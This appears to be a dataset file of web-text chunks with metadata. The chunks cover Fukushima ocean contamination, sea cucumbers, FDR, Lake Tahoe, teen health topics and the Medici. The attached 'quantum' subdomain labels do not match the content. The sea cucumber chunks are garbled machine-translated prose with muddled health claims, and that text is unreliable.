in january by national broadcaster nhk, entitled unknown radioactive contamination : an urgent report from the ocean. the team led by professors ishimaru takashi and kanda jota collected mud samples from the seabed near the entrance to the nuclear plant ' s dock. they collected water, plankton, fish, squid, ocean floor mud, and air samples. according to the nhk documentary, they detected as much as 4, 220 becquerels of radioactive cesium per kilogram ( bq / kg ), while more than half of the 30 spots surveyed inside the perimeter topped 500 bq / kg ( publication of these figures is still pending ). the tumsat team preparing to collect samples aboard the umitaka maru during a survey mission outside the exclusion zone in july 2011 ( miguel quintana ) specimens of fish showed levels of cesium comparable with values found in the mud, indicating that contamination is progressing through the food chain. the highest figure so far, 4, 500 bq / kg in a specimen of japanese flounder, was recorded by fukushima authorities near the port of iwaki in november. other surveys indicate that contamination is spreading southward along the coasts of ibaraki and chiba prefectures, where fishing is still allowed because no specimen containing more than 500 bq / kg of cesium \u2013 the provisional regulatory value for fish \u2013 has been caught so far. okano masaharu, a local researcher featured in the nhk documentary, uncovered several hotspots of cesium in the seabed ranging between 300 bq / kg 30 kilometers south of fukushima daiichi to 380 bq / kg off the coast of ibaraki prefecture, 120 km away. one location off chiba prefecture ( 180 km to the south ), showed levels trebling from 38 bq / kg to 112 bq / kg between october and december. \u201c there is no doubt that cesium is spreading, \u201d says prof. kanda from the tokyo university of marine science and technology, \u201c but the important factor is the actual level of radioactivity in [ fish ] meat. \u201d according to him,", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.46931835829639423, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.200666"} {"text": "is no doubt that cesium is spreading, \u201d says prof. kanda from the tokyo university of marine science and technology, \u201c but the important factor is the actual level of radioactivity in [ fish ] meat. \u201d according to him, even chronic consumption of the most contaminated specimen caught so far \u2013 at 4, 500 bq / kg \u2013 would translate into a \u201c statistically insignificant \u201d health risk for consumers. kanda says that the government \u2019 s plan to revise the regulatory threshold for cesium in fish to 100 bq / kg starting in april could be problematic because ordinary fish already contain some 100 bq / kg of potassium - 40, a radioactive isotope naturally present in seawater. environmental protection organization greenpeace, which has been carrying out its own monitoring of fish and seafood in ibaraki and other prefectures, stands by the principle of \" optimisation in radiation protection \" and disagrees with the idea that the risk of contaminated food is statistically acceptable. \" exposure easily removable from the market should be removed, \" says jan vande putte, a radiation expert dispatched on a temporary mission from europe. \" food should be safe for everyone, including pregnant women or the fraction of the population that is highly sensitive to radiation. \" on the natural presence of potassium - 40 in fish meat, he says that the isotope can be easily filtered out using gamma spectrometry and should not impact measurements of cesium - 137 and 134. waterborne contamination near tokyo a similar phenomenon was observed in tokyo bay, where cesium carried by rain drained into the edogawa and arakawa rivers. surveys conducted by associate professor koibuchi yukio from the university of tokyo ' s water environment science and technology laboratory showed that as much as 872 bq / kg had collected in the river bed at the mouth of the edogawa river. several hotspots were detected along the river, including 1, 623 bq / kg some 8 km upstream due to sedimentation caused by the convergence of saltwater from the bay. koibuchi blames the accumulation on the pollution of the river \u2019 s basin, particularly the area around the city of kashiwa ( chiba prefecture. ), some 30 km northeast of tokyo. \u201c once the cesium flows into tokyo bay, fishermen won ' t be able to sell their catch due to consumer concerns, \u201d says koibuchi. \u201c all the efforts made to restore the bay ' s ecosystem over the past 50 years, which included improving the sewage", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5158626500800125, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.201609"} {"text": "##um flows into tokyo bay, fishermen won ' t be able to sell their catch due to consumer concerns, \u201d says koibuchi. \u201c all the efforts made to restore the bay ' s ecosystem over the past 50 years, which included improving the sewage system and quality of the water, could be lost. \u201d according to a simulation carried out by a team from kyoto university, also presented in the nhk documentary, cesium will continue accumulating and spreading across tokyo bay at a speed of 5 km per year, peaking in two years. experts say the particles are likely to remain for over a decade because of the enclosed characteristics of tokyo bay. in the meantime, some japanese researchers say they are frustrated by what they call the government \u2019 s piecemeal approach towards ocean contamination. \u201c the government is neglecting us, \u201d says one established expert. \" the authorities ' commitment to a ' scientific approach ' without commissioning a nationwide effort was just a way of shifting responsibility for data gathering and analysis on the researchers. what the public needs is a comprehensive survey backed by the government \u2013 and with appropriate funding. \u201d these comments echo a similar plea for comprehensive marine monitoring by professor matsuyama masaji, president of tokyo university of marine science and technology, in an opinion paper published last may in nuclear intelligence weekly. - miguel quintana miguel quintana is a freelance journalist and translator based in tokyo. he is a regular contributor to nuclear intelligence weekly ( washington dc ) and correspondent for le soir ( belgium ). he was aboard the umitaka maru as an observer on the tumsat survey mission in july 2011. this is an expanded version of an article published in the march 2, 2012 edition of nuclear intelligence weekly. recommended citation : miguel quintana, ' ocean contamination in the wake of japan ' s 3. 11 disaster, ' the asia - pacific journal, vol 10, issue 11, no 8, march 12, 2012. see the complete list of apj resources on the 3. 11 earthquake, tsunami and nuclear power meltdown, and the state and societal responses to it here. 1 nuclear tests are believed to have released more radioactive particles into the ocean. 2 1 pbq = 1x1015 bq 3 for some perspective, a constant flow at this level would translate annually into 18. 25 terabecquerels of cesium - an order of magnitude 1, 000 times below estimates for total fallout at sea. 4 available here.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.46843323066447584, "token_count": 503, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.202546"} {"text": "the pacific sea cucumbers ( stichopus holothurioidea species and other family members ) of the revered chinese cooks since ancient days. in particular, the sea cucumber dishes for special occasions, mainly in new year \u2019 s eve celebrations. an old confucian recipe, loosely translated the eight immortals crossing the sea and made of sea cucumber, shark fins, and five species of fish and shellfish, is one of the classic banquet dishes. the sea cucumber is assessed as well as other delicacies such as shark fins is ginseng, cordyceps, tremella, and disease preventive and longevity tonic. this was the agent of medical in the bencao congxin ( new compilation of materia medica ) of the wu yiluo 1757. the popular chinese name for sea cucumber is haishen, which means, roughly, ginseng of the sea. often known in the medical literature fangcishen ( fang = four - sided, ci = spiky, referring to the spiky protrusions that emanate four sides ), or in abbreviated form, fangshen. the asian demand for sea cucumber is so high that it gathered in the united states and other countries ( eg australia, the philippines ) that passend will be quoted. the atlantic sea cucumber, cucumaria frondosa, collected primarily in the food, but recent studies from medical, side through the efforts of the coast of maine organic resources, led by peter collin. kiszerelesebol and use of sea cucumber to prepare the sea cucumber gather after the internal organs removed and washed the dirt and sand in the cavity. then boiled in salted water and dried in the air to preserve. when ready to take the food, the hard, dried sea cucumber softened. the process is quite lengthy, so that the food tends to appear in the special dinners and parties rather than the day - to - day kitchen. to soften the dried sea cucumber in the instructions : place the sea cucumbers in a bowl and add cold water to cover, at least 12 hours per week, and cook over low heat for 1 - 2 hours, add more water if necessary that the water is always covered with the cucumber, remove from heat and cool to room temperature, then drain. a nutritional point of view of the sea cucumber is ideal for a refreshing meal. the higher protein ( 55 % )", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43469020913267076, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.210869"} {"text": "necessary that the water is always covered with the cucumber, remove from heat and cool to room temperature, then drain. a nutritional point of view of the sea cucumber is ideal for a refreshing meal. the higher protein ( 55 % ) than most other foods other than protein ( 99 % ) and 10 - 16 % materials used for cartilage mucopolysaccharides. sea cucumber less fat than most other foods. sea cucumber as a food supplement in modern medical terms, a valuable source of sea cucumbers of different materials can serve as natural health products, and drugs may be developed. as the sea cucumber food is a very small segment of the population outside east asia, most people have no access to its beneficial components. thus, the desired sea cucumber extract and simply consume formats, such as capsules ( hard and soft gelatin ) and pills. sea cucumbers, cartilage provides a rich source of mucopolysaccharides point body, mainly chondroitin sulfate, which is known for its ability to reduce arthritis pain, particularly osteoarthritis only 3 grams per day of dried sea cucumber is also useful for significantly reducing arthralgia. measure is similar to chondroitin sulfate, glucosamine, chondroitin is the main building blocks. chondroitin blocks, which left the chemical layout shows a building block that can be repeated several times, this is really a glucose molecule ( left potion ) and glucosamine molecule ( right panel ), which has been sulfated ( o3s, above ). this block is illustrated on the right side in a three - dimensional representation. long - chain sulfated polysaccharides such as chondroitin can inhibit the virus, there is a japanese patent sea cucumber chondroitin sulfate for hiv therapy based on this operation, and other sulfated polysaccharides in the seaweed has a patented anti - herpes viruses. chondroitin can be obtained in commercial quantities of bovine trachea or shark cartilage ( including sharks ), while glucosamine sulfate from shrimp and crab shells. these compounds are also found in deer antler, which is not practical because of the rarity and resource extraction costs, but it is likely that glucosamine and chondroitin is a key supporter of the healing of deer antlers. russian, japanese and chinese studies", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46812550801012925, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.212489"} {"text": "deer antler, which is not practical because of the rarity and resource extraction costs, but it is likely that glucosamine and chondroitin is a key supporter of the healing of deer antlers. russian, japanese and chinese studies indicate that sea cucumbers also saponins ( triterpene glycosides ) files. these compounds are similar to the structure of the active ingredient of ginseng, ganoderma, and other famous tonic herbs. pharmacological studies show inflammatory and anti - cancer properties of sea cucumber saponins. one of the sea cucumber saponins, representatives of the structures normally found in these organisms. in addition, the sea cucumber oil contains two inflammatory fractions. a fraction of these fatty acids are characteristic of the fish, it can be used as a substitute for fish oil reduces inflammation by - products of fat metabolism and feed the brain and heart. the main components of the interest in fish oils epa ( eicosapentaenoic acid is found in the sea cucumber, and dha ( docosahaenoic acid ), which is unique to the fish : stereochemical representations of epa ( left ) and dha ( right ). the double bond locations are different, resulting in further deflection of the structures the second fraction a mixture of branched - chain fatty acids, mainly 12 - mta ( methyltetradecanoic acid ). this compound, and the more widely studied variant, 13 - mta, the 5 - lox inhibitors ( lypoxygenase ) enzyme system. 5 - lox inhibitors are one of the most important areas of modern drug development, the plans for the use of compounds in the treatment of asthma, ulcerative colitis, and arthritis. in addition, the cancer - inhibitory effect was observed in preliminary studies in prostate cancer cell lines and other human cancer cells these fatty acids are thought to be produced by bacteria that live in the sea cucumbers, they are also produced by bacteria in other marine organisms such as sponge and tunicates. for example, branched fatty acids found in marine organisms. the key fob is a simple carbohydrate. these long chains can interact with cell membranes illustrated in a chinese medical book and photographed stichopus chloronotus, often as \u201d green fish \u201d ( top row ) thelenota and pineapple, as often \u201d pineapple sea cucumber \u201d ( bottom row ). source from : sea cucum", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4684730136667044, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.213898"} {"text": "as the funeral train carrying the casket of franklin delano roosevelt pulled into washington \u2019 s union station, a reporter for a local paper approached one mourner and asked, \u201c why are you here? did you know the president? \u201d the man raised his moist eyes and muttered, \u201c no, but he knew me. \u201d the truth of this infamous story may never be proven, yet the fact that it seems to crystallize is undeniable : the 32nd president of the united states stands unrivaled in the public support and personal sympathy he elicited from the american people. as his wife eleanor remarked, \u201c i never realized the true scope of the devotion to him until he died. \u201d yet franklin delano roosevelt \u2019 s roots could not have contrasted more with those of the common men who mourned on the day of his death. the only son of an abundantly affluent family, franklin enjoyed all the luxuries afforded the upper crust of american society, as well as the intangible benefits \u2013 the power and political connections \u2013 that such a pedigree confers. thus, franklin was a president of paradoxes \u2013 elite yet common, capable yet crippled, gregarious yet guarded ; he was \u201c a traitor to his class \u201d according to the title of one biography, \u201c the lion and the fox \u201d according to another. as a result, to understand the psychology of roosevelt, it is essential to first explicate the many contradictions that defined his personal and political lives. for while these inconsistencies each seem to fall into that wide gap separating private existence from public image, they nevertheless represent the defining factors of roosevelt \u2019 s personality, character, and psyche. for the purpose of my analysis, i will examine the full history of roosevelt \u2013 from fortunate son to fickle family man, from callow lawyer to poised president \u2013 in order to illuminate the specific psychological motivations that defined his life. moreover, i will graft roosevelt \u2019 s biography onto the theoretical framework formulated by stanley a. renshon, illuminating the specific ways in which roosevelt \u2019 s psychology may be more starkly revealed through renshon \u2019 s conceptual model of leadership psychology. through this exercise, i aim to explain both the what and why of roosevelt \u2019 s actions, ultimately revealing the who, the obscured psychological profile, that exists beneath the man so many have missed and memorialized since his funeral car first pulled into union station. the opening paragraphs of \u2018 fdr : president of paradoxes \u2019 \u2014 an essay i", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5492917471735063, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.217111"} {"text": "\u201c... the water was not merely transparent, but dazzlingly, brilliantly so. \u201d - a description of lake tahoe by mark twain, roughing it ( 1871 ) the focus of the league to save lake tahoe is water quality and clarity in lake tahoe. the clarity of lake tahoe was first made famous by mark twain in the 1880s. tragically, the pristine clarity of lake tahoe as experienced by early visitors is no more. scientific measurements of water clarity started in 1968. at that point, one could see a white disk submerged to a depth of 100 feet. today, clarity has dropped to around 70 feet. that means tahoe is losing about one foot of clarity per year. why is tahoe losing clarity? recent water quality research has shed more light on the causes of the decline in lake clarity. lake tahoe is experiencing a phenomenon known as cultural eutrophication \u2014 excessive algal growth due to excessive nutrient levels. nitrogen and phosphorus from automobile emissions and urban and forested areas act like fertilizer to accelerate algal growth. aside from the negative impacts of nitrogen and phosphorus, scientists have identified fine sediments as the primary source of lake clarity loss. fine sediments are tiny, ground up particles \u2014 much smaller than the width of a human hair. these fine sediments enter the lake from roadways and urban areas. rather than falling to the bottom of the lake, fine sediments remain suspended in the water column, making the near shore areas appear murky and brown. the consensus among scientists is that we need to drastically reduce the amount of pollution entering the lake to stop or reverse lake tahoe \u2019 s clarity loss. \u201c charting a course to clarity \" is a concise, readable document that addresses which pollutants are causing lake tahoe to lose clarity, how much pollution is entering lake tahoe, how much pollution the lake can absorb and still restore clarity, and the options for reducing pollution. for 50 years the league has been an advocate for strong measures to protect the lake. we support solutions such as developing an effective public transportation system, restoring natural wetlands and streams, implementing strong erosion control measures, and regulating the rate of development. in addition, we work to educate residents and visitors about opportunities to take action and help restore the environment.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49806733702406814, "token_count": 459, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.219438"} {"text": "aids stands for acquired immunodeficiency syndrome, a disease that makes it difficult for the body to fight off infectious diseases. the human immunodeficiency virus ( hiv ) causes aids by infecting and damaging part of the body ' s defenses against infection, namely the white blood cells known as cd4 helper lymphocytes ( pronounced : lim - fuh - sites ). how does someone become infected? hiv can be spread through any type of unprotected sex ( oral, vaginal, or anal ) if one of the partners has the virus. this can happen when body fluids such as semen ( cum ), vaginal fluids, or blood from an infected person get into the body of someone who is not infected. someone can become infected even if only tiny amounts of these fluids are spread. everyone who has unprotected sex with an infected person is at risk of contracting hiv, but people who already have another sexually transmitted disease ( std ) are even more at risk. hiv can be spread sexually from a guy to a girl, a girl to a guy, a guy to a guy, and a girl to a girl. sharing needles to inject drugs or steroids is another way that hiv can be passed to other people. sharing of needles for tattoos, piercings, and body art can also lead to infection. someone with hiv who shares a needle also shares the virus, which lives in the tiny amounts of blood attached to the needle. sharing needles also can pass hepatitis and other serious infections to another person. also, newborn babies are at risk of getting the hiv virus from their mothers if they ' re infected. this can happen before the baby is born, during birth, or through breastfeeding. pregnant teens and women should be tested for hiv because infected women who receive treatment for hiv are much less likely to spread the virus to their babies. babies born to mothers infected with hiv are also given special medicines to try to prevent hiv infection. the best way to protect yourself from hiv is to abstain from oral, vaginal, and anal sex and to not share needles. if you do have sex, using latex condoms properly every time can help protect you. condoms work by providing a barrier to the body fluids that can be shared during sexual activity ( including oral sex ). always follow the directions exactly and never use the same condom twice. if you have had unprotected sex ( sex without a condom ) or have shared needles with someone else, you should be tested for hiv", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5249682321851541, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.222157"} {"text": "overwhelmed by classwork? scared because your parents are splitting up? worried about a friend? feel like you don ' t fit in? sometimes it ' s just not possible to sort through tough times alone. problems can build up and you may lose sleep, find you can ' t concentrate on homework, or even become depressed. when you need to talk to someone, your school counselor ( sometimes called a guidance counselor ) can be a great place to start. counselors help you cope school counselors know how to listen and help. they ' ll take your problem seriously and work with you to find a good solution. school counselors are trained to help with everything \u2014 and it doesn ' t have to be just school stuff. a counselor can help you deal with the sadness when someone has died as well as advise you on taking the right classes to get into your dream college. it takes a lot of training to be a school counselor. most not only have college degrees but also master ' s degrees, as well as special training and certification in counseling. one of the many good things about school counselors is that they are up - to - date on all the top things that affect students, including any trends that might affect your school. school counselors can give you all sorts of tips and support on solving problems and making good decisions. chances are that whatever problem you have, your counselor has seen it before \u2014 and has lots of good advice on how to help you work through it. counselors can give you tips on standing up for yourself if you ' re being bullied, managing stress, talking to your parents, and dealing with anger and other difficult moods. counselors also can advise you on problems you may have with a teacher, such as communication difficulties or questions over grades. school counselors are plugged in to the rest of the school community and, in many cases, the outside community as well. so they can refer students to outside resources like substance abuse treatment centers, professional therapists, and even health clinics. it can help to know the different types of support your counselor offers \u2014 even if you don ' t think you need it now. some schools and school districts use their websites to explain what the counselor does and how to get a counseling appointment. you may find their services listed under headings like \" student resources, \" \" student services, \" or \" student counseling. \" your school ' s website may also explain the roles of other school staff members who can help students with problems or school issues. depending on the size of your school", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.43678196695263694, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.229565"} {"text": "ok just to make an appointment because you ' re feeling bad or not doing as well in school as you ' d like. it ' s the school counselor ' s job to help people figure out what ' s going on. in fact, it ' s often better to see your counselor as soon as you know something ' s up, even if you don ' t know what the trouble is. chances are you ' ll be able to solve a problem faster when you have the skill and resources of the counselor behind you. how often you meet with your counselor depends on the issue. some concerns are dealt with in a one - time meeting. others require regular meetings for a while. it all depends on the topic at hand and the plan that you and your counselor decide on. counselors also sometimes meet students in groups. group meetings can really help people who are dealing with similar issues, such as a divorce. in these group settings, people can share their feelings and learn coping skills. not only do you get great ideas in a group setting, but it can also help to know that other students are going through the same thing and that they understand. counselors often come into the classroom, too, to teach a class on a subject that affects everyone, such as good study skills. sometimes the counselor might meet with you and a teacher or you and a parent \u2014 especially if the teacher or your parent has asked for the meeting. when you meet privately with a school counselor, your conversation will most likely be confidential. the counselor isn ' t going to go blabbing your business around school. different schools have different policies, though. so talk directly with your counselor about what he or she considers confidential. in very rare cases, a counselor is unable to keep information confidential. a counselor who thinks that someone is at risk of being harmed is required by law to share that information. even in these rare cases, the counselor will share that information only with the people who need to know. people sometimes worry that other students will think they ' re seeing the counselor because they have major problems or they ' re in trouble. but in most schools the counselor deals with lots of school issues \u2014 as well as personal ones. so you could be meeting to get career counseling or advice on which classes to take for college. your friends and classmates don ' t need to know why you ' re seeing the counselor unless you choose to tell them. your school counselor is someone who is separate from your life \u2014 a neutral adult who isn ' t a parent, relative, or teacher.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4548107947682275, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.232015"} {"text": "friends and classmates don ' t need to know why you ' re seeing the counselor unless you choose to tell them. your school counselor is someone who is separate from your life \u2014 a neutral adult who isn ' t a parent, relative, or teacher. your school counselor isn ' t a therapist. ( so if you see your counselor, it ' s not the same as getting therapy. ) if you need help in some way that the school counselor can ' t provide, he or she can give you information about other resources, such as the name of a therapist. no matter what your problem, try to think of the counselor as someone who ' s on your side. even if you ' ve had a bad experience in the past with another counselor or a private therapist, don ' t hesitate to contact your school counselor \u2014 or talk to the counseling office about seeing someone else if you don ' t click with your current counselor. every counselor is different, and most understand that it ' s natural for people to be more comfortable with some individuals than others. don ' t be surprised if your parents know your school counselor. they may even be in touch with each other. sometimes counselors offer workshops for parents, with or without their kids, about topics such as study skills or preventing drug abuse. it ' s good for the counselor and your parents to know each other when everything is going ok. that way, if any problems come up \u2014 like if you ' re being bullied or there ' s a death in the family and you have to be out of school \u2014 they ' ll be able to work together comfortably. if you ' re seeing your counselor and your parents don ' t know about it, don ' t worry that the counselor will talk to them about your meetings. unless you ' ve given the counselor the feeling that you may harm yourself or others, what ' s said in your meetings will stay just between you and the counselor. school counselors are all about helping to make your school experience the best it can be. the role of the school counselor today is very different from what it was like when your parents were in school. instead of just focusing on schoolwork and careers, today ' s counselors are there for students in a broader way. they help students handle almost any problem that might get in the way of learning, guide students to productive futures, and try to create a positive environment for everyone at school. so if you need a counselor ' s advice, just ask!", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4376545869900578, "token_count": 499, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.232946"} {"text": "burgers. bacon. cheese fries. what do they have in common ( besides being some people ' s idea of delicious )? they ' re all high in cholesterol. cholesterol, a waxy substance produced by the liver and found in certain foods, is needed to make vitamin d and some hormones, build cell walls, and create bile salts that help you digest fat. actually, your liver produces about 1, 000 milligrams of cholesterol a day, enough cholesterol so that if you never touched another cheese fry, you ' d be ok. but it ' s hard to avoid cholesterol entirely because so many foods contain it. too much cholesterol in the body can lead to serious problems like heart disease. many factors can contribute to high cholesterol, but the good news is there are things you can do to control them. lipids are fats that are found throughout the body. cholesterol, a type of lipid, is found in foods from animal sources. this means that eggs, meats, and whole - fat dairy products ( including milk, cheese, and ice cream ) are loaded with cholesterol \u2014 and vegetables, fruits, and grains contain none. the liver produces about 1, 000 milligrams of cholesterol a day, and you probably consume about 150 to 250 milligrams in the foods you eat. because cholesterol can ' t travel alone through the bloodstream, it has to combine with certain proteins. these proteins act like trucks, picking up the cholesterol and transporting it to different parts of the body. when this happens, the cholesterol and protein form a lipoprotein together. the two most important types of lipoproteins are high - density lipoproteins ( or hdl ) and low - density lipoproteins ( or ldl ). you ' ve probably heard people call ldl cholesterol \" bad cholesterol \" and hdl cholesterol \" good cholesterol \" because of their very different effects on the body. most cholesterol is ldl cholesterol, and this is the kind that ' s most likely to clog the blood vessels, keeping blood from flowing through the body the way it should. on the other hand, hdl cholesterol removes cholesterol from the blood vessels and carries it back to the liver, where it can be processed and sent out of the body. when you have too much choles", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4544568019034124, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.239213"} {"text": "the way it should. on the other hand, hdl cholesterol removes cholesterol from the blood vessels and carries it back to the liver, where it can be processed and sent out of the body. when you have too much cholesterol, it can be dangerous to your health. when ldl cholesterol levels are high, cholesterol is deposited on the walls of arteries and forms a hard substance called plaque. over time, plaque causes the arteries to become narrower, decreasing blood flow and causing a condition called atherosclerosis ( pronounced : ah - thuh - ro - skluh - ro - sis ), or hardening of the arteries. when atherosclerosis affects the coronary arteries ( the blood vessels that supply the muscles of the heart ), the condition is called coronary artery disease, which puts a person at risk for having a heart attack. when atherosclerosis affects the blood vessels that supply the brain, the condition is called cerebral vascular disease, which puts a person at risk of having a stroke. atherosclerosis may also block blood flow to other vital organs, including the kidneys and intestines. this is why it ' s so important to start paying attention to cholesterol levels as a teen \u2014 you can delay or prevent serious health problems in the future. what causes high ldl cholesterol levels? some of the factors that can lead to high cholesterol are : overweight \u2014 excess weight has been linked with high cholesterol levels. heredity \u2014 if cholesterol problems or heart disease run in your family, you are at a higher risk for having problems. diet \u2014 remember the saying \" you are what you eat \"? avoid foods that are high in cholesterol, saturated fat, and trans fat, all of which increase cholesterol levels and your risk of developing heart disease. age \u2014 the risk of high cholesterol increases as you get older. physical activity tends to increase hdl levels, which reduces your chance of developing heart disease. some people who have high cholesterol levels need to be on medication as part of their treatment to lower it. although most teens won ' t need to take medication to lower their cholesterol, it ' s still important to keep cholesterol in check because plaques can start to form during the teen years. to see if you have high cholesterol, talk to your doctor, who can test your cholesterol levels by drawing a sample of your blood.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47810530210955904, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.240197"} {"text": "important to keep cholesterol in check because plaques can start to form during the teen years. to see if you have high cholesterol, talk to your doctor, who can test your cholesterol levels by drawing a sample of your blood. you can ' t change your genes but there are things you can do now to decrease your risk for heart disease later. the american heart association recommends that cholesterol intake should be less than 300 milligrams a day, total fat intake should be 30 % or less of your total calories, saturated fat should be 10 % or less of the total daily calories, and trans fats should be less than 1 % of the total calories you consume. also, maintain a healthy weight and get moving. regular aerobic exercise \u2014 stuff like biking, walking, and swimming \u2014 strengthens your heart, lowers cholesterol, and helps you to lose excess weight. for people who smoke, quitting can help decrease the risk of heart disease. eat a diet that contains many low - cholesterol foods : fruits, veggies, whole grains ( like breads and cereals ), legumes ( beans ), and fish. eat a diet that is low in saturated and trans fat. replace saturated and trans fats with unsaturated fats. use liquid vegetable oil or trans fat - free margarine instead of butter, shortening, or stick margarine. stay away from products that contain hydrogenated vegetable oils. if you eat meat, try using lean meats and skinless poultry. make sure you trim off all noticeable fat before cooking and drain the fat from the pan after browning meats. instead of frying, try boiling, broiling, baking, roasting, poaching, steaming, or sauteing. instead of whole milk, use low - fat or nonfat milk, which contains all the nutrients without all the fat. choose other low - fat or nonfat dairy products including yogurt, cheese, and cottage cheese. you can also substitute low - fat buttermilk or yogurt in recipes that call for cream cheese or sour cream. use trans - fat - free margarine. instead of meat, use different sources of protein including fish, beans, peas, nuts, and tofu or other soy products. instead of eggs, try just egg whites or cholesterol - free commercial egg substitutes. pass on commercially prepared baked goods, which are often made with hydrogenated oils or trans fats.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.42623141202063597, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.241094"} {"text": "about overweight and obesity what does it mean to be overweight? we see the words \" overweight \" and \" obesity \" a lot. you might use them yourself ( maybe you told your best friend something like, \" i ' m overweight ; i need to drop 5 pounds before prom. \" ) so it may surprise you that these words actually have a medical meaning. doctors use them to define the amount of extra fat a person is carrying. a doctor likely wouldn ' t call someone who wants to lose 5 pounds before prom \" overweight. \" when a doctor says a person is overweight or obese, it ' s serious. being overweight or obese increases the risk of health problems like diabetes and high blood pressure. how do doctors define overweight? health care professionals use a measurement called body mass index ( bmi ) to figure out if a person is overweight. bmi is a calculation that uses your height and weight to estimate how much body fat you have. after calculating your bmi, a doctor or nurse will plot the result on a bmi chart. this allows health professionals to compare your growth with other teens who are the same age and gender to see where you fit in. bmi changes with age. that ' s why doctors should plot and follow bmi over time. there are also different charts for girls and guys. the growth charts have lines for \" percentiles. \" like percentages, percentiles go from 0 to 100. eight lines on the bmi growth charts show the 5th, 10th, 25th, 50th, 75th, 85th, 90th, and 95th percentiles. the 50th percentile line is the average bmi of the teens who were measured to make the chart. when your bmi is plotted on the chart, the doctor can see how you compare with teens the same age and gender as you. based on where your number plots on the chart, the doctor will decide if your bmi is in the underweight, healthy weight, overweight, or obese range. there ' s a big range of normal on the chart : anyone who falls between the 5th percentile and the 85th percentile is a healthy weight. if someone is at or above the 85th percentile line on the chart ( but less than the 95th percentile ), doctors consider that person overweight. a bmi measurement over the 95th percentile line on the chart puts someone in the obese range. why does it matter? a couple of extra pounds", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4952443094334666, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.244810"} {"text": "( but less than the 95th percentile ), doctors consider that person overweight. a bmi measurement over the 95th percentile line on the chart puts someone in the obese range. why does it matter? a couple of extra pounds are not a health risk for most people. but being overweight or obese can lead to health problems, both physical and emotional. it ' s particularly important to catch weight problems while someone is still a teen. being overweight as a teen makes a person more likely to be overweight as an adult. in addition, many overweight teens are developing long - term medical problems like diabetes. teens who are overweight also might be teased or bullied and are more at risk for depression. if your doctor thinks your weight isn ' t in a healthy range, he or she will probably make specific eating and exercise recommendations or refer you to a dietitian or doctor who specializes in weight management. doctors can help people take a healthy approach to losing weight. fad diets and other weight - loss methods can be hard to stick to, may not provide the nutrients your body needs, can have unwanted or dangerous side effects, and are usually not effective in the long run. losing weight can be challenging. but it ' s a lot easier to turn things around if you catch weight problems early on. reviewed by : mary l. gavin, md date reviewed : april 2012 share this page using : note : all information on teenshealth\u00ae is for educational purposes only. for specific medical advice, diagnoses, and treatment, consult your doctor. \u00a9 1995 - the nemours foundation. all rights reserved.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4345600968840049, "token_count": 334, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.246685"} {"text": "the medicis were a powerful family from florence, who, with the hereditary ruling system in place, influenced italy and europe from the 13th to the 17th century. popes leo x, clement vii, and leo xi were of medici descent. the family achieved power through the medici bank with giovanni di bicci de ' 